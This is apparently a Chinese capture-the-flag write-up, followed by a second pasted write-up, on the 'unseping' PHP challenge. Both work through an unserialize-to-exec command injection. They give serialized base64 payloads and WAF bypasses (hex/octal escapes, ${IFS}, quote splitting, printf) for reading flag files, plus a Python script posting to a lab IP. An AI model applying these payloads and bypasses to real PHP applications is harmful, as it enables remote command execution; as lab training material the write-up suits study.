3.攻防世界 unseping(反序列化与魔术方法)

进入题目页面如下

给出源码,开始代码审计

<?php
// 高亮显示当前 PHP 文件的源代码,方便调试和查看代码结构
highlight_file(__FILE__);
 
// 定义一个名为 ease 的类
class ease {
    // 定义私有属性 $method,用于存储要调用的方法名
    private $method;
    // 定义私有属性 $args,用于存储调用方法时传递的参数
    private $args;
 
    // 构造函数,在创建类的实例时自动调用
    function __construct($method, $args) {
        // 将传入的方法名赋值给 $this->method
        $this->method = $method;
        // 将传入的参数赋值给 $this->args
        $this->args = $args;
    }
 
    // 析构函数,在对象被销毁时自动调用
    function __destruct() {
        // 检查 $this->method 是否在数组 ["ping"] 中
        if (in_array($this->method, array("ping"))) {
            // 如果 $this->method 是 "ping",则使用 call_user_func_array 函数调用对象的 $this->method 方法,并传递 $this->args 作为参数
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
 
    // 定义 ping 方法,用于执行系统命令
    function ping($ip) {
        // 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
        exec($ip, $result);
        // 使用 var_dump 函数输出 $result 数组的内容
        var_dump($result);
    }
 
    // 定义 waf 方法,用于对输入字符串进行过滤
    function waf($str) {
        // 使用 preg_match_all 函数检查 $str 中是否包含特定的字符或关键词(如 |、&、;、空格、cat、flag、tac、php、ls 等)
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            // 如果不包含,则返回原始字符串
            return $str;
        } else {
            // 如果包含,则输出 "don't hack"
            echo "don't hack";
        }
    }
 
    // 魔术方法 __wakeup,在对象被反序列化时自动调用
    function __wakeup() {
        // 遍历 $this->args 数组中的每个元素
        foreach ($this->args as $k => $v) {
            // 对每个元素调用 waf 方法进行过滤,并将过滤后的结果重新赋值给 $this->args 数组
            $this->args[$k] = $this->waf($v);
        }
    }
}
 
// 从 POST 请求中获取名为 ctf 的参数值,并赋值给 $ctf 变量
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 base64 解码,然后进行反序列化操作
@unserialize(base64_decode($ctf));

代码中接收用户通过 POST 请求传递的 ctf 参数,对其进行 base64 解码后进行反序列化操作。如果能够构造恶意的序列化字符串,就可以触发对象的魔术方法(如 __destruct 和 __wakeup),从而执行任意代码

ping 方法使用 exec 函数执行用户传入的命令,而 exec 函数执行的命令是由用户可控的 $ip 参数决定的。如果攻击者能够绕过 waf 方法的过滤,就可以执行任意系统命令。

waf 方法对输入字符串进行了正则表达式过滤,禁止使用一些常见的危险字符和关键词

 |&;、空格、catflagtacphpls 等

可以尝试使用其他方式绕过。

1. 绕过过滤机制
由于 waf 方法过滤了一些常见的命令和字符,我们可以使用一些绕过技巧,例如:

使用命令的十六进制编码:cat 可以用 \x63\x61\x74 表示。

使用反引号或 进行命令替换:例如,(echo -e '\x63\x61\x74')` 。

2. 构造恶意序列化字符串

<?php
class ease {
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
 
// 构造要执行的命令
$cmd = "$(echo -e '\x63\x61\x74') f\x6c\x61g.php";
// 创建 ease 类的实例
$obj = new ease("ping", array($cmd));
// 序列化对象
$serialized = serialize($obj);
// 进行 base64 编码
$encoded = base64_encode($serialized);
echo $encoded;
?>

可以用下面这个在线工具运行PHP代码

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319

利用POST传参

虽然执行了但是还需要绕过
空环境变量绕过
应用程序会对用户输入进行过滤,阻止恶意命令的执行。部分系统在处理命令执行时会依赖环境变量,通过利用空环境变量可以绕过某些过滤规则,达到执行恶意命令的目的。

系统在执行命令时会查找环境变量中的命令路径。当过滤规则仅对输入的明文命令进行检查时,使用空环境变量结合命令执行函数,能够让过滤规则失效,从而成功执行被过滤的命令。

利用空环境变量构造命令
在 Linux 系统中,PATH 环境变量指定了系统查找可执行文件的路径。我们可以设置一个空的 PATH 环境变量,然后通过相对路径或绝对路径来调用命令。

例如,cat 命令的绝对路径通常是 /bin/cat

 发送请求
将生成的 base64 编码字符串作为 ctf 参数,通过 POST 请求发送给目标

利用 IFS 环境变量
IFS(Internal Field Separator)是 Linux 系统中的一个环境变量,用于指定单词分割的字符。默认情况下,IFS 包含空格、制表符和换行符。我们可以修改 IFS 变量,使用其他字符作为分隔符,从而绕过对空格的过滤。

构造命令时可以使用 $IFS 来代替空格:

$cmd = "/bin/cat${IFS}f\x6c\x61g.php";

 发送 POST 请求
将上述代码生成的 base64 编码字符串作为 ctf 参数,通过 POST 请求发送给目标 PHP 脚本

import requests
 
url = 'http://61.147.171.105:61601/'
# 替换为实际生成的 base64 编码字符串
ctf = '生成的 base64 编码字符串'
data = {'ctf': ctf}
 
response = requests.post(url, data=data)
print(response.text)

通过以上步骤,可以绕过过滤机制,执行 cat flag.php 命令,从而获取 flag 的值。

payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

通过POST传参

查看flag_1s_here文件时,需要运用控环境变量对cat进行绕过,空格运用${ IFS}进行绕过

再次构造payload

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

最终得到flag


面向对象编程

类的定义与使用:使用 class 关键字定义了 ease 类,类是对象的蓝图,封装了数据(属性)和操作这些数据的方法。ease 类包含了私有属性 $method$args,以及多个方法。

构造函数__construct() 是 PHP 中的构造函数,当创建类的实例时会自动调用。它接收参数并初始化对象的属性,如 $this->method = $method;$this->args = $args; 用于初始化对象的 $method$args 属性。

析构函数__destruct() 是析构函数,在对象被销毁时自动调用。在本题中,它检查 $this->method 是否为 "ping",如果是则使用 call_user_func_array() 调用相应的方法。

成员方法:类中定义了 ping()waf() 等成员方法,用于实现不同的功能。ping() 方法用于执行系统命令,waf() 方法用于对输入字符串进行过滤。

私有属性private 访问修饰符用于声明私有属性,私有属性只能在类的内部访问,外部无法直接访问,增强了数据的封装性和安全性。


反序列化与魔术方法

反序列化@unserialize(base64_decode($ctf)); 这行代码先对 $ctf 进行 Base64 解码,然后进行反序列化操作。反序列化是将序列化后的字符串转换回对象的过程。

魔术方法__wakeup():在对象被反序列化时自动调用,本题中用于对 $this->args 数组中的每个元素调用 waf() 方法进行过滤,防止恶意输入。

除了 __wakeup(),代码还涉及到 __construct()__destruct() 这两个魔术方法,它们分别在对象创建和销毁时自动执行。

 

攻防世界 unseping(小白能看懂)讲解了一些绕过方法saltwy于 2024-12-10 14:45:33 发布阅读量897 收藏 9点赞数 30文章标签: 安全 网络版权题目代码:<?phphighlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don&#39;t hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } } $ctf=@$_POST[&#39;ctf&#39;];@unserialize(base64_decode($ctf));?>先一点一点的分析看到最后一段代码:$ctf=@$_POST[&#39;ctf&#39;];@unserialize(base64_decode($ctf));意思是从HTTP POST请求中获取名为ctf的数据,并赋值给变量$ctf,@用于隐藏可能的错误base64_decode()函数用于将$ctf中的base64编码字符串解码成原始数据,unserialize将进过序列化的字符串还原为php的原始数据结构,比如数组或对象。根据解释大概知道了我们传入的ctf需要先进行base64加密,在经过序列化后传入。进过了上一步骤后看到这段代码__wakeup(): function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } __wakeup()函数的触发条件是,当使用unserialize()函数反序列化对象时,会自动触发,这里提一下绕过__wakeup()方法,当序列化字符串表示对象属性个数的值大于真实个数的属性值时会跳过__wakeup的执行。继续,当触发__wakeup函数后会执行foreach()函数的执行,这里补充一下foreach函数,foreach是php中用于遍历数组或对象的结构。它会迭代数组中的每个键值对,执行循环体中的代码。语法foreach($array as $key =>$value){},这里$array:要遍历的数组,$key:当前元素的键(下标)。$value:当前元素的值。,我们举个例子:$array = [&#39;a&#39; => 1, &#39;b&#39; => 2, &#39;c&#39; => 3];foreach ($array as $key => $value) { echo "Key: $key, Value: $value\n";}// 输出:// Key: a, Value: 1// Key: b, Value: 2// Key: c, Value: 3接下来讲一下$this->args[$k] = $this->waf($v)这段的作用:$this->args[$k]:表示数组中的键值为$k的元素。例如,如果$k="name",那么$this->args[$k]就等于$this->$args["name"],$this->waf($v):调用了当前类中的方法waf(),并将$v作为参数传递给它。waf()方法的返回值会覆盖$this->args[$k]的原始值,这里举一个例子看如下代码:class Example { private $args; function __construct($args) { $this->args = $args; } function __wakeup() { foreach ($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } function waf($str) { return strtoupper($str); // 将字符串转换为大写 } function getArgs() { return $this->args; }} // 初始化对象$obj = new Example([&#39;name&#39; => &#39;John&#39;, &#39;age&#39; => &#39;25&#39;]);$obj->__wakeup(); // 手动调用 __wakeup() print_r($obj->getArgs());// 输出:// Array// (// [name] => JOHN// [age] => 25// )__destruct(),__construct(),print(),waf()接下来就剩下__destruct(),和__construct()还有ping(),waf()这几个,我们直接直击要害,__construct()或者魔术方法的触发就是你创建一个这个类的时候它就会自动调用,而__destruct()这个魔术方法则是这个函数销毁时自动调用接下来主要分析waf()这里使用了一个!preg_match_all()函数来检测$str是否包含某些危险字符或关键词。看到__destruct()这个魔术方法,这里讲一下in_array()这个函数,用于检查某个值是否村粗在一个数组中的函数。它返回true或false,也就是说如果这个类的$method=ping,那么就执行call_user_func_array()函数,call_user_func_array()函数的作用:用于动态地调用一个方法或函数,并传递参数。这里的$this是啥,举个列子,$example = new ease();那么这个this就代表$example,而这里的$this->method则是调用的方法或者函数。也就是说我们要将method复制为ping,然后调用ping命令,然后执行exec(),将$args赋值为我们要执行的函数,还要绕过waf题目中遇见的waf,和如何绕过waf如何绕过:这里cat,tca被过滤了可以考虑使用more,less,sort,nl(显示的时候顺便显示行号),uniq,还可以使用反斜杠连接,还有可以使用&#39;&#39;,"",${Z},进行拼接,例如cat可以用c${Z}at或者c/at,c&#39;&#39;at,c""at,空格绕过可以使用${IFS},$IFS$9,< 符号等绕过/绕过我们可以使用oct绕过,先将/ord("/”)然后转换为八进制,将值面前的0o记得去掉,举个例子开始构造:class ease{ private $method; private $args; function __construct($method,$args){ $this->method = $method; $this->args = $args; }} $a = new ease(ping,array(&#39;l""s&#39;));$b = serialize($a);echo base64_encode($b);之后得到的序列化将post的形式赋值给ctf得到如下,可以看到flag_1s_here,尝试去读取继续构造代码$a = new ease("ping",array(&#39;l""s${IFS}f""lag_1s_here&#39;));接下来需要查看flag的值,因为cat被过滤了可以使用less,more等上面已经讲过,开始构造,$a = new ease("ping",array(&#39;more<f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp&#39;));这里/被oct(ord("/"))转换过,而printf可以识别不同进制的数字,它支持通过格式说明符来输出十进制,十六进制,八进制等不同进制的数字而\57转换出来则是/可以成功绕过wafarray(2) { [0]=> string(5) " string(47) "//$cyberpeace{9cb5f1187f5c30d98b3f68a274d63299}" }
04-03
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值